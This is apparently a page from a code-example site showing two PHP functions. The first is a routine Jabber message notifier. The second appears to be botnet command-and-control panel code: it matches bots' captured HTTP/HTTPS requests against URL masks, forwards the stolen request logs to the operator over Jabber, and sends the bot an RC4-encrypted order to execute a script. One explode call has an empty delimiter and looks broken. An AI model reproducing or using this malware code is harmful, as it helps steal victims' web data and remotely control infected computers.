Exemplo n.º 1
0
/** Notify [multiple] JIDs with [multiple] messages.
 * Re-users Jabber connection in case of multiple messages being sent
 * @param string|string[]	Jabber ID[s] to send messages to
 * @param string|string[]	Message[s] to send
 * @return TRUE|string[] Array of errors
 * 
 * Uses $GLOBALS['config'] to get the jabber info
 */
function jabber_notify_now($jids, $messages)
{
    if (is_string($jids)) {
        $jids = explode(',', $jids);
    }
    if (is_string($messages)) {
        $messages = array($messages);
    }
    if (count($messages) == 0) {
        return true;
    }
    static $jab = null;
    if (is_null($jab)) {
        require_once "system/jabberclass.php";
        $jab = new Jabber();
        $jab->server = $GLOBALS['config']['jabber']['host'];
        $jab->port = $GLOBALS['config']['jabber']['port'];
        $jab->username = $GLOBALS['config']['jabber']['login'];
        $jab->password = $GLOBALS['config']['jabber']['pass'];
        if (!@$jab->connect()) {
            return array('ERROR: Jabber::connect() failed to connect!');
        }
        if (!@$jab->sendAuth()) {
            return array('ERROR: Jabber::sendAuth() failed!');
        }
    }
    if (!@$jab->sendPresence(NULL, NULL, "online")) {
        return array('ERROR: Jabber::sendPresence() failed!');
    }
    $errors = array();
    foreach ($jids as $jid) {
        if (strlen($jid = trim($jid))) {
            foreach ($messages as $msg) {
                if (!@$jab->sendMessage($jid, "normal", NULL, array("body" => $msg))) {
                    $errors[] = 'ERROR: Jabber::sendMessage() failed!';
                }
            }
        }
    }
    // File log
    $datestr = date('Y.m.d H:i:s');
    if (empty($errors) && !empty($GLOBALS['config']['reports_jn_logfile'])) {
        $f = @fopen($GLOBALS['config']['reports_jn_logfile'], 'a');
        if ($f) {
            foreach ($messages as $message) {
                @fwrite($f, $message . "\n\n====================| {$datestr} |====================\n\n");
            }
            @fclose($f);
        }
    }
    return count($errors) == 0 ? TRUE : $errors;
}
Exemplo n.º 2
0
function imNotify(&$type, &$list, &$botId)
{
    if (($type == BLT_HTTP_REQUEST || $type == BLT_HTTPS_REQUEST) && !empty($list[SBCID_PATH_SOURCE])) {
        $ml = explode("", $GLOBALS['config']['reports_jn_list']);
        foreach ($ml as &$mask) {
            if (@preg_match('#^' . str_replace('\\*', '.*', preg_quote($mask, '#')) . '$#i', $list[SBCID_PATH_SOURCE]) > 0) {
                $message = htmlentities("Bot ID: " . $botId . "\nURL: " . $list[SBCID_PATH_SOURCE] . "\n\n" . substr($list[SBCID_BOTLOG], 0, 1024));
                error_reporting(0);
                if (strlen($GLOBALS['config']['reports_jn_logfile']) > 0 && ($fh = @fopen($GLOBALS['config']['reports_jn_logfile'], 'at')) !== false) {
                    @fwrite($fh, $message . "\n\n" . str_repeat('=', 40) . "\n\n");
                    @fclose($fh);
                }
                require_once "system/jabberclass.php";
                $jab = new Jabber();
                $jab->server = $GLOBALS['config']['reports_jn_server'];
                $jab->port = $GLOBALS['config']['reports_jn_port'];
                $jab->username = $GLOBALS['config']['reports_jn_account'];
                $jab->password = $GLOBALS['config']['reports_jn_pass'];
                if ($jab->connect()) {
                    $jab->sendAuth();
                    $jab->sendPresence(NULL, NULL, "online");
                    $jab->sendMessage($GLOBALS['config']['reports_jn_to'], "normal", NULL, array("body" => $message));
                    $jab->disconnect();
                }
                if (strlen($GLOBALS['config']['reports_jn_script']) > 0) {
                    $eid = md5($mask, true);
                    $script = 'user_execute "' . trim($GLOBALS['config']['reports_jn_script']) . '" -f';
                    $size = strlen($eid) + strlen($script);
                    $replyData = pack('LLLL', 1, 0, $size, $size) . $eid . $script;
                    $replyData = pack('LLLLLLLL', mt_rand(), mt_rand(), mt_rand(), mt_rand(), mt_rand(), HEADER_SIZE + strlen($replyData), 0, 1) . md5($replyData, true) . $replyData;
                    visualEncrypt($replyData);
                    rc4($replyData, $GLOBALS['config']['botnet_cryptkey_bin']);
                    echo $replyData;
                    die;
                }
                break;
            }
        }
    }
}